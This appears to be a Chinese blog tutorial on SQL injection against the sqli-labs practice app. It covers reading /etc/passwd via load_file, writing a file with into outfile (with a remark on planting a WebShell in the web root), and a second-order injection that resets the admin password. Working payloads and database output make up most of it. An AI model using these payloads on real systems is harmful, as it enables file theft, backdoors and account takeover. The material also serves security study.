1.1 SQL注入读写文件
1.1.1 读取文件
在MySQL中读取文件,使用load file(“文件路径/名称”)
- 测试URL:http://192.168.10.159/sqli-labs/Less-1/?id=-1′ union select 1, load_file(“/etc/passwd”),3 –+
- 实际SQL:SELECT * FROM users WHERE id=’-1′ union select 1, load_file(“/etc/passwd”),3 — ‘ LIMIT 0,1
【结果分析】:
使用union联合查询在可输出位置执行load file 函数来读取文件。
1.1.2 写入文件
into outfile语句用于把表数据导出到一个文本文件中,用法::
select * from Table into outfile '/路径/文件名'
- 测试URL:http://192.168.10.159/sqli-labs/Less-7/?id=-1′)) union select 1, 2, ‘php one word backdoor’ into outfile “/var/lib/mysql/backdoor.php” –+
- 实际SQL:SELECT * FROM users WHERE id=((‘-1’)) union select 1, 2, ‘php one word backdoor’ into outfile “/var/lib/mysql/backdoor.php” — ‘)) LIMIT 0,1
[root@centos7-sqlilabs ~]# cd /var/lib/mysql/ [root@centos7-sqlilabs mysql]# cat backdoor.php 1 2 php one word backdoor
【结果分析】:
使用select 1, 2, ‘php one word backdoor’ into outfile以逗号分隔字段的方式将数据导入到一个文件中,实际利用select查询到的内容为1,2, php one word backdoor,再写入到系统文件。
PS.这里因为mysql权限问题只能上传文件到mysql数据目录下,如果可以上传文件到网站根目录下,我们就可以直接上传一个WebShell获得权限。
1.2 二次注入修改其他用户密码
1.2.1 构建payload修改其他用户密码
1.2.1.1 数据库中用户密码情况
MariaDB [security]> select * from users; +----+------------+------------+ | id | username | password | +----+------------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | <span style="color: #ff0000;"> 8 | admin | admin </span> | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | +----+------------+------------+ 14 rows in set (0.00 sec)
1.2.1.2 构建payload注册用户
1.2.1.3 登录后修改用户密码
1.2.1.4 使用更改后的密码登录admin用户
1.2.1.5 查看数据用户密码
MariaDB [security]> select * from users; +----+------------+------------+ | id | username | password | +----+------------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | 654321 | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 15 | admin'-- + | 123456 | +----+------------+------------+ 14 rows in set (0.00 sec)
【结果分析】:
admin’– +用户的密码并没有被修改,但是admin用户的密码被成功修改成654321
实际SQL:UPDATE users SET PASSWORD=’654321′ where username=’admin’– +’ and password=’123456′
通过我们构建的payload,实际修改的是admin用户的sql语句。
温馨提示:本文最后更新于
转载请注明本文链接:https://blog.leonshadow.cn/763482/2276.html
2022-12-20 20:57:37
,已超过493
天没有更新。某些文章具有时效性,若文章内容或图片资源有错误或已失效,请联系站长。谢谢!转载请注明本文链接:https://blog.leonshadow.cn/763482/2276.html
© 版权声明
THE END